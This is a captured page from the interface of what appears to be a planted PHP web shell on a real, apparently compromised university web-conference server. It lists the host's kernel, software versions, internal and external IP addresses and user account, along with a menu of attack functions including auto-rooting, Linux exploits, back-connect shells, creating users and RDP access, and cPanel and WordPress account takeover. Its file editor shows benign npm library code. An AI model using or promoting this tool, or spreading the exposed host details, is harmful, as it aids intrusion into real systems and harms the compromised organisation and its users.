Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.149.240.196
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
pacote /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
fetchers
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
extract-stream.js
2.45
KB
-rw-r--r--
fetch.js
2.12
KB
-rw-r--r--
finalize-manifest.js
8.33
KB
-rw-r--r--
with-tarball-stream.js
4.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extract-stream.js
'use strict' const Minipass = require('minipass') const path = require('path') const tar = require('tar') module.exports = extractStream module.exports._computeMode = computeMode class Transformer extends Minipass { constructor (spec, opts) { super() this.spec = spec this.opts = opts this.str = '' } write (data) { this.str += data return true } end () { const replaced = this.str.replace( /}\s*$/, `\n,"_resolved": ${ JSON.stringify(this.opts.resolved || '') }\n,"_integrity": ${ JSON.stringify(this.opts.integrity || '') }\n,"_from": ${ JSON.stringify(this.spec.toString()) }\n}` ) super.write(replaced) return super.end() } } function computeMode (fileMode, optMode, umask) { return (fileMode | optMode) & ~(umask || 0) } function pkgJsonTransform (spec, opts) { return entry => { if (entry.path === 'package.json') { const transformed = new Transformer(spec, opts) return transformed } } } function extractStream (spec, dest, opts) { opts = opts || {} const sawIgnores = new Set() return tar.x({ cwd: dest, filter: (name, entry) => !entry.header.type.match(/^.*link$/i), strip: 1, onwarn: msg => opts.log && opts.log.warn('tar', msg), uid: opts.uid, gid: opts.gid, umask: opts.umask, transform: opts.resolved && pkgJsonTransform(spec, opts), onentry (entry) { if (entry.type.toLowerCase() === 'file') { entry.mode = computeMode(entry.mode, opts.fmode, opts.umask) } else if (entry.type.toLowerCase() === 'directory') { entry.mode = computeMode(entry.mode, opts.dmode, opts.umask) } else { entry.mode = computeMode(entry.mode, 0, opts.umask) } // Note: This mirrors logic in the fs read operations that are // employed during tarball creation, in the fstream-npm module. // It is duplicated here to handle tarballs that are created // using other means, such as system tar or git archive. if (entry.type.toLowerCase() === 'file') { const base = path.basename(entry.path) if (base === '.npmignore') { sawIgnores.add(entry.path) } else if (base === '.gitignore') { const npmignore = entry.path.replace(/\.gitignore$/, '.npmignore') if (!sawIgnores.has(npmignore)) { // Rename, may be clobbered later. entry.path = npmignore } } } } }) }
Close